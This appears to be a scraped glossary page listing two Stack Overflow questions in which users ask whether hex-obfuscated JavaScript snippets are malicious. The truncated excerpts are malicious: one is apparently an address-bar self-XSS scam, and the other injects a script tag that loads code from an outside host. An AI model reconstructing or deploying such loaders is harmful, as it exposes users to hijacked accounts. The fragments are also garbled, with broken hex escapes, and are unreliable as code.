javascript Programming Glossary: x69

Javascript in the address bar - is this malicious?

http://stackoverflow.com/questions/2634159/javascript-in-the-address-bar-is-this-malicious

Here's the source code DO NOT DO THIS Javascript var a x69 x6E x6E x65 x72 x48 x54 x4D x4C x61 x70 x70 x34 x39 x34 x39.. x45 x6C x65 x6D x65 x6E x74 x42 x79 x49 x64 x3C x61 x20 x69 x64 x3D x22 x73 x75 x67 x67 x65 x73 x74 x22 x20 x68 x72 x65.. x20 x68 x72 x65 x66 x3D x22 x23 x22 x20 x61 x6A x61 x78 x69 x66 x79 x3D x22 x2F x61 x6A x61 x78 x2F x73 x6F x63 x69 x61..

Can someone decrypt this javascript

http://stackoverflow.com/questions/6556853/can-someone-decrypt-this-javascript

please help javascript var _0x8dd5 x73 x72 x63 x73 x63 x72 x69 x70 x74 x63 x7 2 x65 x61 x74 x65 x45 x6C x65 x6D x65 x6E x74.. x74 x 68 x74 x74 x70 x3A x2F x2F x75 x67 x2D x72 x61 x64 x69 x6F x2E x63 x6F x2E x63 x63 x2F x66 x6C x6F x 6F x64 x2E x6A.. x6F x 6F x64 x2E x6A x73 x61 x70 x70 x65 x6E x64 x43 x68 x69 x6C x64 x62 x6F x64 x79 a b document _0x8dd5 2 _0x8dd5 1 _0x8dd5..